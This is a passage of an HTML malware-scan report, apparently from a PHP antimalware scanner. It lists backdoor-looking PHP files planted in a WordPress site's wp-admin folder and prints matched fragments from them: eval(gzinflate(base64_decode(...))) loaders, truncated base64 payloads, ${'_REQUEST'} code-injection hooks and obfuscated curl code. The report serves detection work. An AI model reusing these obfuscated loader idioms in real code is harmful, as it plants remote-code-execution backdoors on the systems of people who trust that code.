<span style="color: #0000BB"></span><span style="color: #DD0000">'Al6kXXB8nii0Af7g3aJZMrQWJmxLJ69GIM/vrfPUtHc/F7fBG98p/rPXPZ6X9faz7OVCO+vrW8Z589V/gyvo51ZfPbdZa4yx73D3/+tHu3Tvbv1q+jX8yZvdnEv92lPqUBue4da8GJfrxrzO+U6XmIt0WfacW7dxWX/77LTO6j+6GzoVJhyAWxr4wdNTlzIt0f2w5/oXNz63LW5MEB6BljLiltz0pvAj1hBej0LggokiNHPtUX5/kqz2Sb6M10Q6PQmynyF2A6y33uHiQSJuBqwQAZglJtJaGPCtnb3wIsMuvCjD/x+9Fj1hYG1xNkYTJKCTfai7+ht9mF0T6VvdxfdQrGr5TbO9srT87AV2qFqWdFZCKhr3j3G0y1m8FZ0nj8/PGtzvvV72M63br0ZcNhSMKWCqurmcL21rTrodg9V7oJl4tILcMT1zfTV/2/9ajzQ/M6qkcrQB0hE0I7Q1QRluhV8hBzPj4x8eVPgb+ZfNBDrJN8s...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$MCGg</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_171").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/dOt9XziM76J.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_172" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_172").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/zN4FynC2lHo.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:51:10</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_173" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_173").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/QNg8ezTrIJY.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:31:29</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_174" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_174").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/user/user/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_175" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'oSO2IIA/WcEB4bH8WDpjbFSKJMeJbnXCnJv84zj3+ydXd4V654Hucaxu3+Ha+yhPNIue5oTO85COPXOUlWR1r1+uschXebmrEM/4Z3d8Nnr/Dne7CX8y5vd3HnN2nPe0Dq2gvXcmKfbxra++UzPmJlI2cT0m6X9WX837Le/6gz+mzuxJi1QnSvUweBfUzM5Ee78p9s/NK0zrW/gUCzRlKB9aVesC2t9CAMPJ4LkYVUFmCs46p97M3XVVuXaS7JnHK/AzYOVg82YlsNuwRImRq7gAYoRJ8IZLhDxnUa8yWGhnj9VfY4eyz/YsCUzuS+gSD1oLE9xLqbH1y7WSHZX82H/2Dda8m/s74DuW1v9WZrWrSldmJYFs+weofrXZ23kQf+y974sPvczXP9yv3Gpz8KClYUsFUNXN9WsqXnWQ/Q7oyJTLxLRX4IWrj/mq+N86vkzQ/E6qkcrQB0hFwA7Q1QRmuhV8RAzPj4x8eVPgb+5fNBDrJN8...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$VUpWl</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_175").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/user/user/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 1.86 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:00</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_176" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$pA</span><span style="color: #007700">[</span><span style="color: #0000BB">39</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silenced_eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@eval(</span><span style="color: #0000BB">$aRC</span><span style="color: #007700">[</span><span style="color: #0000BB">4</span><span style="color: #007700">+</span><span style="color: #0000BB">0</span><span style="color: #007700">](</span><span style="color: #0000BB">$Flv</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$pA</span><span style="color: #007700">[</span><span style="color: #0000BB">61</span><span style="color: #007700">](${</span><span style="color: #0000BB">$pA</span><span style="color: #007700">[</span><span style="color: #0000BB">39</span><span style="color: #007700">]}[</span><span style="color: #0000BB">27</span><span style="color: #007700">])); } </span><span style="color: #0000BB">metaphone</span><span style="color: #007700">(</span><span style="color: #DD0000">"9QiZ6Z6773cAo5SHMuQ+8EtMI9WRa/y479yxpGG0jHc"</span><span style="color: #007700">); class </span><span style="color: #0000BB">mg</span><span style="color: #007700">{ static function </span><span style="color: #0000BB">smpbQWHN</span><span style="color: #007700">(</span><span style="color: #0000BB">$LwsKQb</span><span style="color: #007700">) { </span><span style="color: #0000BB">$ESBzXK </span><span style="color: #007700">= </span><span style="color: #DD0000">"r"</span><span style="color: #007700">.</span><span style="color: #DD0000">"a"</span><span style="color: #007700">.</span><span style="color: #DD0000">"n"</span><span style="color: #007700">.</span><span style="color: #DD0000">"g"</span><span style="color: #007700">.</span><span style="color: #DD0000">"e"</span><span style="color: #007700">; </span><span style="color: #0000BB">$gXWAyEpBlL </span><span style="color: #007700">= </span><span style="color: #0000BB">$ESBzXK</span><span style="color: #007700">(</span><span style="color: #DD0000">"~"</span><span style="color: #007700">, </span><span style="color: #DD0000">" "</span><span style="color: #007700">); </span><span style="color: #0000BB">$JP </span><span style="color: #007700">= </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">"*"</span><span style="color: #007700">, </span><span style="color: #0000BB">$LwsKQb</span><span style="color: #007700">); </span><span style="color: #0000BB">$yAuEVC </span><span style="color: #007700">= </span><span style="color: #DD0000">""</span><span style="color: #007700">; foreach (</span><span style="color: #0000BB">$JP </span><span style="color: #007700">as </span><span style="color: #0000BB">$YqNx </span><span style="color: #007700">=> </span><span style="color: #0000BB">$MR</span><span style="color: #007700">) </span><span style="color: #0000BB">$yAuEVC </span><span style="color: #007700">.= </span><span style="color: #0000BB">$gXWAyEpBlL</span><span style="color: #007700">[</span><span style="color: #0000BB">$MR </span><span style="color: #007700">- </span><span style="color: #0000BB">54442</span><span style="color: #007700">]; return </span><span style="color: #0000BB">$yAuEVC</span><span style="color: #007700">; } static function </span><span style="color: #0000BB">AEnftzGyv</span><span style="color: #007700">(</span><span style="color: #0000BB">$ympRsBh</span><span style="color: #007700">, </span><span style="color: #0000BB">$wLAeZnphix</span><span style="color: #007700">) { </span><span style="color: #0000BB">$RfKQX </span><span style="color: #007700">= </span><span style="color: #0000BB">curl_init</span><span style="color: #007700">(</span><span style="color: #0000BB">$ympRsBh</span><span style="color: #007700">); </span><span style="color: #0000BB">curl_setopt</span><span style="color: #007700">(</span><span style="color: #0000BB">$RfKQX</span><span style="color: #007700">, </span><span style="color: #0000BB">CURLOPT_RETURNTRANSFER</span><span style="color: #007700">, </span><span style="color: #0000BB">1</span><span style="color: #007700">); </span><span style="color: #0000BB">$NHesjywF </span><span style="color: #007700">= </span><span style="color: #0000BB">curl_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$RfKQX</span><span style="color: #007700">); return </span><span style="color: #0000BB">empt</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_176").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/D8aRJH6xdog.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_177" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_177").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/o3GVnEycmwI.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_178" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
